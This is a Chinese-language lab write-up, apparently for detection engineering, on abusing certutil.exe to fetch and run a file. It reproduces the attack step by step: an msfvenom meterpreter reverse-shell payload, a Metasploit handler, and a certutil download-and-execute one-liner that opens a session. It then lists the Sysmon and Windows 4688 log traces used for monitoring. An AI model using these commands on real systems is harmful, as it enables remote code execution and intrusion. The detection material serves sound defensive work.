簡介
Certutil.exe是作爲證書服務的一部分安裝的命令行程序。 我們可以使用此工具在目標計算機上執行惡意EXE文件,並獲取meterpreter會話。
補充說明:在高版本操作系統中,可以通過配置策略,對進程命令行參數進行記錄。日誌策略開啓方法:本地計算機策略>計算機配置>管理模板>系統>審覈進程創建>在過程創建事件中加入命令行>啓用
,同樣也可以在低版本操作系統中部署sysmon,通過sysmon日誌進行監控。
基礎日誌
windows 安全日誌/SYSMON日誌(需要自行安裝)
測試復現
環境準備
攻擊機:Kali2019
靶機:win7(sysmon)
攻擊分析
生成payload.exe
通過msfvenom 生成惡意可執行文件,並使用start multi/handler獲取目標計算機反向shell會話。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.146 lport=1234 -f exe > shell.exe
執行監聽
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.126.146
lhost => 192.168.126.146
msf5 exploit(multi/handler) > set lport 1234
lport => 1234
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.126.146:1234
開啓小型http服務
root@12306Br0:~# python2 -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
靶機執行payload
certutil.exe -urlcache -split -f http://192.168.126.146:1234/shell.exe shell.exe & shell.exe
反彈shell
[*] Started reverse TCP handler on 192.168.126.146:1234
[*] Sending stage (180291 bytes) to 192.168.126.149
[*] Sending stage (180291 bytes) to 192.168.126.149
[*] Meterpreter session 1 opened (192.168.126.146:1234 -> 192.168.126.149:49172) at 2020-04-17 15:59:50 +0800
測試留痕
#sysmon日誌
EventID: 1
Image: C:\Windows\System32\certutil.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: CertUtil.exe
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: CertUtil.exe
CommandLine: certutil.exe -urlcache -split -f http://192.168.126.146:1234/shell.exe shell.exe
#win7安全日誌
EventID:4688
進程信息:
新進程 ID:0xbcc
新進程名: C:\Windows\System32\certutil.exe
#windows server 2008(不含2008)以上系統可以配置審覈進程創建策略,達到記錄命令行參數的效果。通過命令行參數進行監控分析。
檢測規則/思路
無具體檢測規則,可根據進程創建事件4688/1(進程名稱、命令行)進行監控。本監控方法需要自行安裝配置審覈策略/sysmon。